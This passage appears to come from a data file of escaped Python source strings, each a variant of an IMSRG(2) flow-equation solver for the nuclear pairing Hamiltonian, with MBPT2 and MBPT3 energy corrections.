np.zeros((dim,dim))\n\n for i in bas1B:\n H1B[i,i] = delta*np.floor_divide(i, 2)\n\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n\n # spin up states have even indices, spin down the next odd index\n for (i, j) in bas2B:\n if (i % 2 == 0 and j == i+1):\n for (k, l) in bas2B:\n if (k % 2 == 0 and l == k+1):\n H2B[idx2B[(i,j)],idx2B[(k,l)]] = -0.5*g\n H2B[idx2B[(j,i)],idx2B[(k,l)]] = 0.5*g\n H2B[idx2B[(i,j)],idx2B[(l,k)]] = 0.5*g\n H2B[idx2B[(j,i)],idx2B[(l,k)]] = -0.5*g\n \n return H1B, H2B\n\n#-----------------------------------------------------------------------------------\n# normal-ordered pairing Hamiltonian\n#-----------------------------------------------------------------------------------\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data[\"bas1B\"]\n bas2B = user_data[\"bas2B\"]\n idx2B = user_data[\"idx2B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n\n # 0B part\n E = 0.0\n for i in holes:\n E += H1B[i,i]\n\n for i in holes:\n for j in holes:\n E += 0.5*H2B[idx2B[(i,j)],idx2B[(i,j)]] \n\n # 1B part\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i,j] += H2B[idx2B[(i,h)],idx2B[(j,h)]] \n\n # 2B part\n Gamma = H2B\n\n return E, f, Gamma\n\n#-----------------------------------------------------------------------------------\n# Perturbation theory\n#-----------------------------------------------------------------------------------\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i,i] + f[j,j] - f[a,a] - f[b,b]\n me = Gamma[idx2B[(a,b)],idx2B[(i,j)]]\n DE2 += 0.25*me*me/denom\n\n return DE2\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # DE3 = 0.0\n\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[i,i] + f[j,j] - f[c,c] - f[d,d])\n me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(a,b)],idx2B[(c,d)]]*\n Gamma[idx2B[(c,d)],idx2B[(i,j)]])\n DE3pp += 0.125*me/denom\n\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[l,l] - f[a,a] - f[b,b])\n me = (Gamma[idx2B[(a,b)],idx2B[(k,l)]]*Gamma[idx2B[(k,l)],idx2B[(i,j)]]*\n Gamma[idx2B[(i,j)],idx2B[(a,b)]])\n DE3hh += 0.125*me/denom\n\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[j,j] - f[a,a] - f[c,c])\n me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(k,b)],idx2B[(i,c)]]*\n Gamma[idx2B[(a,c)],idx2B[(k,j)]])\n DE3ph -= me/denom\n\n return DE3pp+DE3hh+DE3ph\n\n\n#------------------------------------------------------------------------------\n# Main program\n#------------------------------------------------------------------------------\ndef main():\n # grab delta and g from the command line\n delta = float(argv[1])\n g = float(argv[2])\n\n particles = 4\n\n # setup shared data\n dim1B = 8\n\n # this defines the reference state\n # 1st state\n holes = [0,1,2,3]\n particles = [4,5,6,7]\n\n # 2nd state\n # holes = [0,1,4,5]\n # particles = [2,3,6,7]\n\n # 3rd state\n # holes = [0,1,6,7]\n # particles = [2,3,4,5]\n\n # basis definitions\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n\n # occupation number matrices\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n\n # store shared data in a dictionary, so we can avoid passing the basis\n # lookups etc. as separate parameters all the time\n user_data = {\n \"dim1B\": dim1B, \n \"holes\": holes,\n \"particles\": particles,\n \"bas1B\": bas1B,\n \"bas2B\": bas2B,\n \"basph2B\": basph2B,\n \"idx2B\": idx2B,\n \"idxph2B\": idxph2B,\n \"occ1B\": occ1B,\n \"occA_2B\": occA_2B,\n \"occB_2B\": occB_2B,\n \"occC_2B\": occC_2B,\n \"occphA_2B\": occphA_2B,\n\n \"eta_norm\": 0.0, # variables for sharing data between ODE solver\n \"dE\": 0.0, # and main routine\n\n\n \"calc_eta\": eta_white_atan, # specify the generator (function object)\n \"calc_rhs\": flow_imsrg2 # specify the right-hand side and truncation\n }\n\n # set up initial Hamiltonian\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n\n E, f, Gamma = normal_order(H1B, H2B, user_data) \n\n # reshape Hamiltonian into a linear array (initial ODE vector)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n\n # integrate flow equations \n solver = ode(derivative_wrapper,jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.)\n\n sfinal = 50\n ds = 0.1\n\n print(\"%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s\"%(\n \"s\", \"E\" , \"DE(2)\", \"DE(3)\", \"E+DE\", \"dE/ds\", \n \"||eta||\", \"||fod||\", \"||Gammaod||\"))\n print(\"-\" * 148)\n \n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n \n dim2B = dim1B*dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n\n print(\"%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f\"%(\n solver.t, E , DE2, DE3, E+DE2+DE3, user_data[\"dE\"], user_data[\"eta_norm\"], norm_fod, norm_Gammaod))\n if abs(DE2/E) < 10e-8: break\n\n return\n\n\n#------------------------------------------------------------------------------\n# make executable\n#------------------------------------------------------------------------------\nif __name__ == \"__main__\": \n main()\n", "import numpy as np\nfrom numpy import array, dot, diag, reshape, transpose\nfrom scipy.linalg import eigvalsh\nfrom scipy.integrate import odeint, ode\nfrom sys import argv\n\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\nif __name__ == '__main__':\n main()\n", "<import token>\n\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n 